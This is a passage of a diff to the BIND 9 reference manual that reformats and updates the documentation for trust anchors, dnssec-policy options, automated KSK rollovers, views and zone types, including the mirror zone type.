@@ -4831,27 +6021,28 @@ takes to load the managed key database and start the
 It is not possible to mix static with initial trust anchors
 for the same domain name.
 
-The first time ``named`` runs with an
+The first time :iscman:`named` runs with an
 ``initial-key`` or ``initial-ds``
-configured in ``named.conf``, it fetches the
+configured in :iscman:`named.conf`, it fetches the
 DNSKEY RRset directly from the zone apex,
 and validates it
-using the trust anchor specified in ``trust-anchors``.
+using the trust anchor specified in :any:`trust-anchors`.
 If the DNSKEY RRset is validly signed by a key matching
 the trust anchor, then it is used as the basis for a new
 managed-keys database.
 
-From that point on, whenever ``named`` runs, it sees the ``initial-key`` or ``initial-ds``
-listed in ``trust-anchors``, checks to make sure :rfc:`5011` key maintenance
+From that point on, whenever :iscman:`named` runs, it sees the ``initial-key`` or ``initial-ds``
+listed in :any:`trust-anchors`, checks to make sure :rfc:`5011` key maintenance
 has already been initialized for the specified domain, and if so,
-simply moves on. The key specified in the ``trust-anchors`` statement is
+simply moves on. The key specified in the :any:`trust-anchors` statement is
 not used to validate answers; it is superseded by the key or keys stored
 in the managed-keys database.
 
-The next time ``named`` runs after an ``initial-key`` or ``initial-ds`` has been *removed*
-from the ``trust-anchors`` statement (or changed to a ``static-key`` or ``static-ds``), the
-corresponding zone is removed from the managed-keys database, and
-:rfc:`5011` key maintenance is no longer used for that domain.
+The next time :iscman:`named` runs after an ``initial-key`` or
+``initial-ds`` has been *removed* from the :any:`trust-anchors` statement
+(or changed to a ``static-key`` or ``static-ds``), the corresponding zone
+is removed from the managed-keys database, and :rfc:`5011` key maintenance
+is no longer used for that domain.
 
 In the current implementation, the managed-keys database is stored as a
 master-format zone file.
@@ -4866,52 +6057,67 @@ When the key database is changed, the zone is updated. As with any other
 dynamic zone, changes are written into a journal file, e.g.,
 ``managed-keys.bind.jnl`` or ``internal.mkeys.jnl``. Changes are
 committed to the primary file as soon as possible afterward,
-usually within 30 seconds. Whenever ``named`` is using
+usually within 30 seconds. Whenever :iscman:`named` is using
 automatic key maintenance, the zone file and journal file can be
 expected to exist in the working directory. (For this reason, among
 others, the working directory should be always be writable by
-``named``.)
-
-If the ``dnssec-validation`` option is set to ``auto``, ``named``
-automatically initializes an ``initial-key`` for the root zone. The key
-that is used to initialize the key-maintenance process is stored in
-``bind.keys``; the location of this file can be overridden with the
-``bindkeys-file`` option. As a fallback in the event no ``bind.keys``
-can be found, the initializing key is also compiled directly into
-``named``.
+:iscman:`named`.)
 
-.. _dnssec_policy_grammar:
+If the :any:`dnssec-validation` option is set to ``auto``, :iscman:`named`
+automatically sets up an ``initial-key`` for the root zone. This
+initializing key is built in to :iscman:`named`, and is current as of the
+release date.  When the root zone key changes, a running server will detect
+the change and roll to the new key, but newly-installed servers being run
+for the first time will need to be from a recent enough version of BIND to
+have been built with the current key.
 
-``dnssec-policy`` Statement Grammar
+:any:`dnssec-policy` Block Grammar
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: dnssec-policy
+   :tags: dnssec
+   :short: Defines a key and signing policy (KASP) for zones.
 
-.. include:: ../misc/dnssec-policy.grammar.rst
-
-.. _dnssec_policy:
-
-``dnssec-policy`` Statement Definition and Usage
+:any:`dnssec-policy` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``dnssec-policy`` statement defines a key and signing policy (KASP)
+The :any:`dnssec-policy` statement defines a key and signing policy (KASP)
 for zones.
 
 A KASP determines how one or more zones are signed with DNSSEC.  For
 example, it specifies how often keys should roll, which cryptographic
 algorithms to use, and how often RRSIG records need to be refreshed.
+Multiple key and signing policies can be configured with unique policy names.
+
+A policy for a zone is selected using a :any:`dnssec-policy` statement in the
+:namedconf:ref:`zone` block, specifying the name of the policy that should be
+used.
+
+There are three built-in policies:
+  - ``default``, which uses the :ref:`default policy <dnssec_policy_default>`,
+  - ``insecure``, to be used when you want to gracefully unsign your zone,
+  - ``none``, which means no DNSSEC policy (the same as not selecting
+    :any:`dnssec-policy` at all; the zone is not signed.)
 
 Keys are not shared among zones, which means that one set of keys per
 zone is generated even if they have the same policy.  If multiple views
 are configured with different versions of the same zone, each separate
 version uses the same set of signing keys.
 
-Multiple key and signing policies can be configured.  To attach a policy
-to a zone, add a ``dnssec-policy`` option to the ``zone`` statement,
-specifying the name of the policy that should be used.
+The :any:`dnssec-policy` statement requires dynamic DNS to be set up, or
+:any:`inline-signing` to be enabled.
+
+If :any:`inline-signing` is enabled, this means that a signed version of the
+zone is maintained separately and is written out to a different file on disk
+(the zone's filename plus a ``.signed`` extension).
+
+If the zone is dynamic because it is configured with an :any:`update-policy` or
+:any:`allow-update`, the DNSSEC records are written to the filename set in the
+original zone's :any:`file`, unless :any:`inline-signing` is enabled.
 
 Key rollover timing is computed for each key according to the key
 lifetime defined in the KASP.  The lifetime may be modified by zone TTLs
 and propagation delays, to prevent validation failures.  When a key
-reaches the end of its lifetime, ``named`` generates and publishes a new
+reaches the end of its lifetime, :iscman:`named` generates and publishes a new
 key automatically, then deactivates the old key and activates the new
 one; finally, the old key is retired according to a computed schedule.
 
@@ -4921,10 +6127,9 @@ taken to submit a DS record to the parent.  Rollover timing for KSKs and
 CSKs is adjusted to take into account delays in processing and
 propagating DS updates.
 
-There are two predefined ``dnssec-policy`` names: ``none`` and
-``default``.  Setting a zone's policy to ``none`` is the same as not
-setting ``dnssec-policy`` at all; the zone is not signed.  Policy
-``default`` causes the zone to be signed with a single combined-signing
+.. _dnssec_policy_default:
+
+Policy ``default`` causes the zone to be signed with a single combined-signing
 key (CSK) using algorithm ECDSAP256SHA256; this key has an unlimited
 lifetime.  (A verbose copy of this policy may be found in the source
 tree, in the file ``doc/misc/dnssec-policy.default.conf``.)
@@ -4933,11 +6138,11 @@ tree, in the file ``doc/misc/dnssec-policy.default.conf``.)
    This could require changes to a signing policy when upgrading to a
    new version of BIND.  Check the release notes carefully when
    upgrading to be informed of such changes.  To prevent policy changes
-   on upgrade, use an explicitly defined ``dnssec-policy``, rather than
+   on upgrade, use an explicitly defined :any:`dnssec-policy`, rather than
    ``default``.
 
-If a ``dnssec-policy`` statement is modified and the server restarted or
-reconfigured, ``named`` attempts to change the policy smoothly from the
+If a :any:`dnssec-policy` statement is modified and the server restarted or
+reconfigured, :iscman:`named` attempts to change the policy smoothly from the
 old one to the new.  For example, if the key algorithm is changed, then
 a new key is generated with the new algorithm, and the old algorithm is
 retired when the existing key's lifetime ends.
@@ -4946,13 +6151,31 @@ retired when the existing key's lifetime ends.
    in progress is not yet supported, and may result in unexpected
    behavior.
 
-The following options can be specified in a ``dnssec-policy`` statement:
+The following options can be specified in a :any:`dnssec-policy` statement:
+
+.. namedconf:statement:: cdnskey
+   :tags: dnssec
+   :short: Specifies whether a CDNSKEY record should be published during KSK rollover.
+
+    When set to the default value of ``yes``, a CDNSKEY record is published
+    during KSK rollovers when the DS of the successor key may be submitted to
+    the parent.
+
+.. namedconf:statement:: cds-digest-types
+   :tags: dnssec
+   :short: Specifies the digest types to use for CDS resource records.
+
+    This indicates the digest types to use when generating CDS resource
+    records. The default is SHA-256 only.
+
+.. namedconf:statement:: dnskey-ttl
+   :tags: dnssec
+   :short: Specifies the time to live (TTL) for DNSKEY resource records.
 
-  ``dnskey-ttl``
     This indicates the TTL to use when generating DNSKEY resource
-    records.  The default is 1 hour (3600 seconds).
+    records. The default is 1 hour (3600 seconds).
 
-  ``keys``
+:any:`keys`
     This is a list specifying the algorithms and roles to use when
     generating keys and signing the zone.  Entries in this list do not
     represent specific DNSSEC keys, which may be changed on a regular
@@ -4966,8 +6189,8 @@ The following options can be specified in a ``dnssec-policy`` statement:
     ::
 
         keys {
-            ksk key-directory lifetime unlimited algorithm rsasha1 2048;
-            zsk lifetime P30D algorithm 8;
+            ksk key-directory lifetime unlimited algorithm rsasha256 2048;
+            zsk lifetime 30d algorithm 8;
             csk lifetime P6MT12H3M15S algorithm ecdsa256;
         };
 
@@ -4982,206 +6205,320 @@ The following options can be specified in a ``dnssec-policy`` statement:
 
     An optional second token determines where the key is stored.
     Currently, keys can only be stored in the configured
-    ``key-directory``.  This token may be used in the future to store
-    keys in hardware service modules or separate directories.
+    :any:`key-directory`.  This token may be used in the future to store
+    keys in hardware security modules or separate directories.
 
     The ``lifetime`` parameter specifies how long a key may be used
-    before rolling over.  In the example above, the first key has an
+    before rolling over. For convenience, TTL-style time-unit suffixes
+    can be used to specify the key lifetime. It also accepts ISO 8601
+    duration formats.
+
+    In the example above, the first key has an
     unlimited lifetime, the second key may be used for 30 days, and the
     third key has a rather peculiar lifetime of 6 months, 12 hours, 3
     minutes, and 15 seconds.  A lifetime of 0 seconds is the same as
     ``unlimited``.
 
     Note that the lifetime of a key may be extended if retiring it too
-    soon would cause validation failures.  For example, if the key were
-    configured to roll more frequently than its own TTL, its lifetime
-    would automatically be extended to account for this.
+    soon would cause validation failures. The key lifetime must be
+    longer than the time it takes to do a rollover; that is, the lifetime
+    must be more than the publication interval (which is the sum of
+    :any:`dnskey-ttl`, :any:`publish-safety`, and :any:`zone-propagation-delay`).
+    It must also be more than the retire interval (which is the sum of
+    :any:`max-zone-ttl`, :any:`retire-safety` and :any:`zone-propagation-delay`
+    for ZSKs, and the sum of :any:`parent-ds-ttl`, :any:`retire-safety`, and
+    :any:`parent-propagation-delay` for KSKs and CSKs). BIND 9 treats a key
+    lifetime that is too short as an error.
 
     The ``algorithm`` parameter specifies the key's algorithm, expressed
     either as a string ("rsasha256", "ecdsa384", etc.) or as a decimal
     number.  An optional second parameter specifies the key's size in
     bits.  If it is omitted, as shown in the example for the second and
     third keys, an appropriate default size for the algorithm is used.
+    Each KSK/ZSK pair must have the same algorithm. A CSK combines the
+    functionality of a ZSK and a KSK.
 
-  ``purge-keys``
-    This is the time after when DNSSEC keys that have been deleted from
+.. namedconf:statement:: purge-keys
+   :tags: dnssec
+   :short: Specifies the amount of time after which DNSSEC keys that have been deleted from the zone can be removed from disk.
+
+    This is the amount of time after which DNSSEC keys that have been deleted from
     the zone can be removed from disk. If a key still determined to have
-    presence (for example in some resolver cache), ``named`` will not
+    presence (for example in some resolver cache), :iscman:`named` will not
     remove the key files.
 
     The default is ``P90D`` (90 days). Set this option to ``0`` to never
     purge deleted keys.
 
-  ``publish-safety``
+.. namedconf:statement:: publish-safety
+   :tags: dnssec
+   :short: Increases the amount of time between when keys are published and when they become active, to allow for unforeseen events.
+
     This is a margin that is added to the pre-publication interval in
     rollover timing calculations, to give some extra time to cover
     unforeseen events.  This increases the time between when keys are
     published and when they become active.  The default is ``PT1H`` (1
     hour).
 
-  ``retire-safety``
+.. namedconf:statement:: retire-safety
+   :tags: dnssec
+   :short: Increases the amount of time a key remains published after it is no longer active, to allow for unforeseen events.
+
     This is a margin that is added to the post-publication interval in
     rollover timing calculations, to give some extra time to cover
     unforeseen events.  This increases the time a key remains published
     after it is no longer active.  The default is ``PT1H`` (1 hour).
 
-  ``signatures-refresh``
+.. namedconf:statement:: signatures-refresh
+   :tags: dnssec
+   :short: Specifies how frequently an RRSIG record is refreshed.
+
     This determines how frequently an RRSIG record needs to be
     refreshed.  The signature is renewed when the time until the
     expiration time is less than the specified interval.  The default is
     ``P5D`` (5 days), meaning signatures that expire in 5 days or sooner
-    are refreshed.
+    are refreshed. The :any:`signatures-refresh` value must be less than
+    90% of the minimum value of :any:`signatures-validity` and
+    :any:`signatures-validity-dnskey`.
+
+.. namedconf:statement:: signatures-validity
+   :tags: dnssec
+   :short: Indicates the validity period of an RRSIG record.
 
-  ``signatures-validity``
     This indicates the validity period of an RRSIG record (subject to
-    inception offset and jitter).  The default is ``P2W`` (2 weeks).
+    inception offset and jitter). The default is ``P2W`` (2 weeks).
+
+.. namedconf:statement:: signatures-validity-dnskey
+   :tags: dnssec
+   :short: Indicates the validity period of DNSKEY records.
 
-  ``signatures-validity-dnskey``
-    This is similar to ``signatures-validity``, but for DNSKEY records.
+    This is similar to :any:`signatures-validity`, but for DNSKEY records.
     The default is ``P2W`` (2 weeks).
 
-  ``max-zone-ttl``
-    Like the ``max-zone-ttl`` zone option, this specifies the maximum
-    permissible TTL value, in seconds, for the zone.  When loading a
-    zone file using a ``masterfile-format`` of ``text`` or ``raw``, any
-    record encountered with a TTL higher than ``max-zone-ttl`` is capped
-    at the maximum permissible TTL value.
+.. namedconf:statement:: max-zone-ttl
+   :tags: zone, query
+   :short: Specifies a maximum permissible time-to-live (TTL) value, in seconds.
 
-    This is needed in DNSSEC-maintained zones because when rolling to a
-    new DNSKEY, the old key needs to remain available until RRSIG
-    records have expired from caches.  The ``max-zone-ttl`` option
-    guarantees that the largest TTL in the zone is no higher than the
-    set value.
+   This specifies the maximum permissible TTL value for the zone.  When
+   a zone file is loaded, any record encountered with a TTL higher than
+   :any:`max-zone-ttl` causes the zone to be rejected.
 
-    .. note:: Because ``map``-format files load directly into memory,
-       this option cannot be used with them.
+   This ensures that when rolling to a new DNSKEY, the old key will remain
+   available until RRSIG records have expired from caches. The
+   :any:`max-zone-ttl` option guarantees that the largest TTL in the
+   zone is no higher than a known and predictable value.
 
-    The default value is ``PT24H`` (24 hours).  A ``max-zone-ttl`` of
-    zero is treated as if the default value were in use.
+   The default value ``PT24H`` (24 hours).  A value of zero is treated
+   as if the default value were in use.
+
+
+.. namedconf:statement:: nsec3param
+   :tags: dnssec
+   :short: Specifies the use of NSEC3 instead of NSEC, and sets NSEC3 parameters.
 
-  ``nsec3param``
     Use NSEC3 instead of NSEC, and optionally set the NSEC3 parameters.
 
     Here is an example of an ``nsec3`` configuration:
 
     ::
 
-        nsec3param iterations 5 optout no salt-length 8;
+        nsec3param iterations 0 optout no salt-length 0;
 
-    The default is to use NSEC.  The ``iterations``, ``optout`` and
+    The default is to use :ref:`NSEC`. The ``iterations``, ``optout``, and
     ``salt-length`` parts are optional, but if not set, the values in
-    the example above are the default NSEC3 parameters.
+    the example above are the default :ref:`NSEC3` parameters. Note that the
+    specific salt string is not specified by the user; :iscman:`named` creates a salt
+    of the indicated length.
+
+    .. warning::
+       Do not use extra :term:`iterations <Iterations>`, :term:`salt <Salt>`, and
+       :term:`opt-out <Opt-out>` unless their implications are fully understood.
+       A higher number of iterations causes interoperability problems and opens
+       servers to CPU-exhausting DoS attacks.
+
+.. namedconf:statement:: zone-propagation-delay
+   :tags: dnssec, zone
+   :short: Sets the propagation delay from the time a zone is first updated to when the new version of the zone is served by all secondary servers.
 
-  ``zone-propagation-delay``
     This is the expected propagation delay from the time when a zone is
     first updated to the time when the new version of the zone is served
-    by all secondary servers.  The default is ``PT5M`` (5 minutes).
+    by all secondary servers. The default is ``PT5M`` (5 minutes).
+
+.. namedconf:statement:: parent-ds-ttl
+   :tags: dnssec
+   :short: Sets the time to live (TTL) of the DS RRset used by the parent zone.
 
-  ``parent-ds-ttl``
     This is the TTL of the DS RRset that the parent zone uses.  The
     default is ``P1D`` (1 day).
 
-  ``parent-propagation-delay``
+.. namedconf:statement:: parent-propagation-delay
+   :tags: dnssec, zone
+   :short: Sets the propagation delay from the time the parent zone is updated to when the new version is served by all of the parent zone's name servers.
+
     This is the expected propagation delay from the time when the parent
     zone is updated to the time when the new version is served by all of
-    the parent zone's name servers.  The default is ``PT1H`` (1 hour).
+    the parent zone's name servers. The default is ``PT1H`` (1 hour).
 
-.. _managed-keys:
+Automated KSK Rollovers
+^^^^^^^^^^^^^^^^^^^^^^^
 
-``managed-keys`` Statement Grammar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+BIND has mechanisms in place to facilitate automated KSK rollovers. It
+publishes CDS and CDNSKEY records that can be used by the parent zone to
+publish or withdraw the zone's DS records. BIND will query the parental
+agents to see if the new DS is actually published before withdrawing the
+old DNSSEC key.
 
-.. include:: ../misc/managed-keys.grammar.rst
+   .. note::
+      The DS response is not validated so it is recommended to set up a
+      trust relationship with the parental agent. For example, use TSIG to
+      authenticate the parental agent, or point to a validating resolver.
 
-.. _managed_keys:
+The following options apply to DS queries sent to :any:`parental-agents`:
 
-``managed-keys`` Statement Definition and Usage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: checkds
+   :tags: dnssec
+   :short: Controls whether ``DS`` queries are sent to parental agents.
 
-The ``managed-keys`` statement has been
-deprecated in favor of :ref:`trust_anchors`
-with the ``initial-key`` keyword.
+   If set to ``yes``, DS queries are sent when a KSK rollover is in progress.
+   The queries are sent to the servers listed in the parent zone's NS records.
+   This is the default if there are no :any:`parental-agents` configured for
+   the zone.
 
-.. _trusted-keys:
+   If set to ``explicit``, DS queries are sent only to servers explicitly listed
+   using :any:`parental-agents`. This is the default if there are parental
+   agents configured.
 
-``trusted-keys`` Statement Grammar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+   If set to ``no``, no DS queries are sent. Users should manually run
+   :option:`rndc dnssec -checkds <rndc dnssec>` with the appropriate parameters
+   to signal that specific DS records are published and/or withdrawn.
 
-.. include:: ../misc/trusted-keys.grammar.rst
+.. namedconf:statement:: parental-source
+   :tags: dnssec
+   :short: Specifies which local IPv4 source address is used to send parental DS queries.
 
-.. _trusted_keys:
+   :any:`parental-source` determines which local source address, and optionally
+   UDP port, is used to send parental DS queries. This statement sets the
+   :any:`parental-source` for all zones, but can be overridden on a per-zone or
+   per-view basis by including a :any:`parental-source` statement within the
+   :any:`zone` or :any:`view` block in the configuration file.
 
-``trusted-keys`` Statement Definition and Usage
+   .. note:: ``port`` configuration is deprecated. A warning will be logged
+      when this parameter is used.
+
+   .. warning:: Specifying a single port is discouraged, as it removes a layer of
+      protection against spoofing errors.
+
+   .. warning:: The configured :term:`port` must not be the same as the listening port.
+
+.. namedconf:statement:: parental-source-v6
+   :tags: dnssec
+   :short: Specifies which local IPv6 source address is used to send parental DS queries.
+
+   This option acts like :any:`parental-source`, but applies to parental DS
+   queries sent to IPv6 addresses.
+
+:any:`managed-keys` Block Grammar
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: managed-keys
+   :tags: deprecated
+
+:any:`managed-keys` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``trusted-keys`` statement has been deprecated in favor of
-:ref:`trust_anchors` with the ``static-key`` keyword.
+The :any:`managed-keys` statement has been
+deprecated in favor of :any:`trust-anchors`
+with the ``initial-key`` keyword.
+
+:any:`trusted-keys` Block Grammar
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: trusted-keys
+   :tags: deprecated
+
+:any:`trusted-keys` Block Definition and Usage
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. _view_statement_grammar:
+The :any:`trusted-keys` statement has been deprecated in favor of
+:any:`trust-anchors` with the ``static-key`` keyword.
 
-``view`` Statement Grammar
+:any:`view` Block Grammar
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: view
+   :tags: view
+   :short: Allows a name server to answer a DNS query differently depending on who is asking.
 
 ::
 
    view view_name [ class ] {
        match-clients { address_match_list } ;
        match-destinations { address_match_list } ;
-       match-recursive-only yes_or_no ;
+       match-recursive-only <boolean> ;
      [ view_option ; ... ]
      [ zone_statement ; ... ]
    } ;
 
-.. _view_statement:
-
-``view`` Statement Definition and Usage
+:any:`view` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``view`` statement is a powerful feature of BIND 9 that lets a name
+The :any:`view` statement is a powerful feature of BIND 9 that lets a name
 server answer a DNS query differently depending on who is asking. It is
 particularly useful for implementing split DNS setups without having to
 run multiple servers.
 
-Each ``view`` statement defines a view of the DNS namespace that is
-seen by a subset of clients. A client matches a view if its source IP
-address matches the ``address_match_list`` of the view's
-``match-clients`` clause, and its destination IP address matches the
-``address_match_list`` of the view's ``match-destinations`` clause. If
-not specified, both ``match-clients`` and ``match-destinations`` default
-to matching all addresses. In addition to checking IP addresses,
-``match-clients`` and ``match-destinations`` can also take ``keys``
-which provide an mechanism for the client to select the view. A view can
-also be specified as ``match-recursive-only``, which means that only
-recursive requests from matching clients match that view. The order
-of the ``view`` statements is significant; a client request is
-resolved in the context of the first ``view`` that it matches.
-
-Zones defined within a ``view`` statement are only accessible to
-clients that match the ``view``. By defining a zone of the same name in
+.. namedconf:statement:: match-clients
+   :tags: view
+   :short: Specifies a view of DNS namespace for a given subset of client IP addresses.
+
+.. namedconf:statement:: match-destinations
+   :tags: view
+   :short: Specifies a view of DNS namespace for a given subset of destination IP addresses.
+
+   Each :any:`view` statement defines a view of the DNS namespace that is
+   seen by a subset of clients. A client matches a view if its source IP
+   address matches the :term:`address_match_list` of the view's
+   :any:`match-clients` clause, and its destination IP address matches the
+   :term:`address_match_list` of the view's :any:`match-destinations` clause. If
+   not specified, both :any:`match-clients` and :any:`match-destinations` default
+   to matching all addresses. In addition to checking IP addresses,
+   :any:`match-clients` and :any:`match-destinations` can also take the name of a
+   TSIG :namedconf:ref:`key`, which provides a mechanism for the client to select
+   the view.
+
+.. namedconf:statement:: match-recursive-only
+   :tags: view
+   :short: Specifies that only recursive requests can match this view of the DNS namespace.
+
+   A view can
+   also be specified as :any:`match-recursive-only`, which means that only
+   recursive requests from matching clients match that view. The order
+   of the :any:`view` statements is significant; a client request is
+   resolved in the context of the first :any:`view` that it matches.
+
+Zones defined within a :any:`view` statement are only accessible to
+clients that match the :any:`view`. By defining a zone of the same name in
 multiple views, different zone data can be given to different clients:
 for example, "internal" and "external" clients in a split DNS setup.
 
-Many of the options given in the ``options`` statement can also be used
-within a ``view`` statement, and then apply only when resolving queries
+Many of the options given in the :namedconf:ref:`options` statement can also be used
+within a :any:`view` statement, and then apply only when resolving queries
 with that view. When no view-specific value is given, the value in the
-``options`` statement is used as a default. Also, zone options can have
-default values specified in the ``view`` statement; these view-specific
-defaults take precedence over those in the ``options`` statement.
+:namedconf:ref:`options` statement is used as a default. Also, zone options can have
+default values specified in the :any:`view` statement; these view-specific
+defaults take precedence over those in the :namedconf:ref:`options` statement.
 
 Views are class-specific. If no class is given, class IN is assumed.
 Note that all non-IN views must contain a hint zone, since only the IN
 class has compiled-in default hints.
 
-If there are no ``view`` statements in the config file, a default view
+If there are no :any:`view` statements in the config file, a default view
 that matches any client is automatically created in class IN. Any
-``zone`` statements specified on the top level of the configuration file
-are considered to be part of this default view, and the ``options``
-statement applies to the default view. If any explicit ``view``
-statements are present, all ``zone`` statements must occur inside
-``view`` statements.
+:any:`zone` statements specified on the top level of the configuration file
+are considered to be part of this default view, and the :namedconf:ref:`options`
+statement applies to the default view. If any explicit :any:`view`
+statements are present, all :any:`zone` statements must occur inside
+:any:`view` statements.
 
 Here is an example of a typical split DNS setup implemented using
-``view`` statements:
+:any:`view` statements:
 
 ::
 
@@ -5217,49 +6554,47 @@ Here is an example of a typical split DNS setup implemented using
          };
    };
 
-.. _zone_statement_grammar:
-
-``zone`` Statement Grammar
+:any:`zone` Block Grammar
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: zone
+   :tags: zone
+   :short: Specifies the zone in a BIND 9 configuration.
+   :suppress_grammar:
 
-.. include:: ../misc/master.zoneopt.rst
-.. include:: ../misc/slave.zoneopt.rst
-.. include:: ../misc/mirror.zoneopt.rst
-.. include:: ../misc/hint.zoneopt.rst
-.. include:: ../misc/stub.zoneopt.rst
-.. include:: ../misc/static-stub.zoneopt.rst
-.. include:: ../misc/forward.zoneopt.rst
-.. include:: ../misc/redirect.zoneopt.rst
-.. include:: ../misc/delegation-only.zoneopt.rst
-.. include:: ../misc/in-view.zoneopt.rst
-
-.. _zone_statement:
-
-``zone`` Statement Definition and Usage
+:any:`zone` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. _zone_types:
-
 Zone Types
 ^^^^^^^^^^
+.. namedconf:statement:: type
+   :tags: zone
+   :short: Specifies the kind of zone in a given configuration.
+   :suppress_grammar:
+
+   The :any:`type` keyword is required for the :any:`zone` configuration unless
+   it is an :any:`in-view` configuration. Its acceptable values are:
+   :any:`primary <type primary>` (or ``master``), :any:`secondary <type
+   secondary>` (or ``slave``), :any:`mirror <type mirror>`, :any:`hint <type
+   hint>`, :any:`stub <type stub>`, :any:`static-stub <type static-stub>`,
+   :any:`forward <type forward>`, or :any:`redirect <type redirect>`.
+
+.. namedconf:statement:: type primary
+   :tags: zone
+   :short: Contains the main copy of the data for a zone.
 
-The ``type`` keyword is required for the ``zone`` configuration unless
-it is an ``in-view`` configuration. Its acceptable values are:
-``primary`` (or ``master``), ``secondary`` (or ``slave``), ``mirror``,
-``hint``, ``stub``, ``static-stub``, ``forward``, ``redirect``,
-or ``delegation-only``.
-
-``primary``
    A primary zone has a master copy of the data for the zone and is able
    to provide authoritative answers for it. Type ``master`` is a synonym
-   for ``primary``.
+   for :any:`primary <type primary>`.
+
+.. namedconf:statement:: type secondary
+   :tags: zone
+   :short: Contains a duplicate of the data for a zone that has been transferred from a primary server.
 
-``secondary``
     A secondary zone is a replica of a primary zone. Type ``slave`` is a
-    synonym for ``secondary``. The ``primaries`` list specifies one or more IP
+    synonym for :any:`secondary <type secondary>`. The :any:`primaries` list specifies one or more IP
     addresses of primary servers that the secondary contacts to update
-    its copy of the zone.  Primaries list elements can
-    also be names of other primaries lists.  By default,
+    its copy of the zone. Primaries list elements can
+    also be names of other primaries lists. By default,
     transfers are made from port 53 on the servers;
     this can be changed for all servers by specifying
     a port number before the list of IP addresses,
@@ -5281,69 +6616,91 @@ or ``delegation-only``.
     ``ex/example.com``, where
     ``ex/`` is just the first two
     letters of the zone name. (Most operating systems
-    behave very slowly if there are 100000 files in a single directory.)
-
-``mirror``
-   A mirror zone is similar to a zone of type ``secondary``, except its data is
-   subject to DNSSEC validation before being used in answers.  Validation is
-   applied to the entire zone during the zone transfer process, and again when
-   the zone file is loaded from disk upon restarting ``named``.  If validation
-   of a new version of a mirror zone fails, a retransfer is scheduled and the
-   most recent correctly validated version of that zone is used, until it either
-   expires or a newer version validates correctly. If no usable zone data is
-   available for a mirror zone, either due to transfer failure or
-   expiration, traditional DNS recursion is used to look up the answers instead.
-   Mirror zones cannot be used in a view that does not have recursion enabled.
-
-   Answers coming from a mirror zone look almost exactly like answers from a
-   zone of type ``secondary``, with the notable exceptions that the AA bit
-   ("authoritative answer") is not set, and the AD bit ("authenticated data")
-   is.
-
-   Mirror zones are intended to be used to set up a fast local copy of the root
-   zone, similar to the one described in :rfc:`7706`.  A default list of primary
-   servers for the IANA root zone is built into ``named`` and thus its mirroring
-   can be enabled using the following configuration:
-
-    ::
-
-        zone "." {
-             type mirror;
-        };
+    behave very slowly if there are 100,000 files in a single directory.)
+
+.. namedconf:statement:: type mirror
+   :tags: zone
+   :short: Contains a DNSSEC-validated duplicate of the main data for a zone.
+
+   A mirror zone is similar to a zone of :any:`type secondary`, except its
+   data is subject to DNSSEC validation before being used in answers.
+   Validation is applied to the entire zone during the zone transfer
+   process, and again when the zone file is loaded from disk upon
+   restarting :iscman:`named`. If validation of a new version of a mirror zone
+   fails, a retransfer is scheduled; in the meantime, the most recent
+   correctly validated version of that zone is used until it either
+   expires or a newer version validates correctly. If no usable zone
+   data is available for a mirror zone, due to either transfer failure
+   or expiration, traditional DNS recursion is used to look up the
+   answers instead. Mirror zones cannot be used in a view that does not
+   have recursion enabled.
+
+   Answers coming from a mirror zone look almost exactly like answers
+   from a zone of :any:`type secondary`, with the notable exceptions that
+   the AA bit ("authoritative answer") is not set, and the AD bit
+   ("authenticated data") is.
+
+   Mirror zones are intended to be used to set up a fast local copy of
+   the root zone (see :rfc:`8806`). A default list of primary servers
+   for the IANA root zone is built into :iscman:`named`, so its mirroring can
+   be enabled using the following configuration:
 
-   Mirroring a zone other than root
-   requires an explicit list of primary servers to be provided using the
-   ``primaries`` option (see :ref:`primaries_grammar` for details), and a
-   key-signing key (KSK) for the specified zone to be explicitly configured as a
-   trust anchor.
+   ::
 
-   To make mirror zone contents persist between ``named`` restarts, use the
-   :ref:`file <file-option>` option.
+       zone "." {
+           type mirror;
+       };
 
-   When configuring NOTIFY for a mirror zone, only ``notify no;`` and ``notify
-   explicit;`` can be used at the zone level; any other ``notify``
-   setting at the zone level is a configuration error. Using any other
-   ``notify`` setting at the ``options`` or ``view`` level causes that
-   setting to be overridden with ``notify explicit;`` for the mirror zone.  The
-   global default for the ``notify`` option is ``yes``, so mirror zones are by
-   default configured with ``notify explicit;``.
+   Mirror zone validation always happens for the entire zone contents.
+   This ensures that each version of the zone used by the resolver is
+   fully self-consistent with respect to DNSSEC. For incoming mirror
+   zone IXFRs, every revision of the zone contained in the IXFR sequence
+   is validated independently, in the order in which the zone revisions
+   appear on the wire. For this reason, it might be useful to force use
+   of AXFR for mirror zones by setting ``request-ixfr no;`` for the
+   relevant zone (or view). Other, more efficient zone verification
+   methods may be added in the future.
+
+   To make mirror zone contents persist between :iscman:`named` restarts, use
+   the :any:`file` option.
+
+   Mirroring a zone other than root requires an explicit list of primary
+   servers to be provided using the :any:`primaries` option (see
+   :any:`primaries` for details), and a key-signing key (KSK)
+   for the specified zone to be explicitly configured as a trust anchor
+   (see :any:`trust-anchors`).
+
+   When configuring NOTIFY for a mirror zone, only ``notify no;`` and
+   ``notify explicit;`` can be used at the zone level; any other
+   :namedconf:ref:`notify` setting at the zone level is a configuration error. Using
+   any other :namedconf:ref:`notify` setting at the :namedconf:ref:`options` or :any:`view` level
+   causes that setting to be overridden with ``notify explicit;`` for
+   the mirror zone. The global default for the :namedconf:ref:`notify` option is
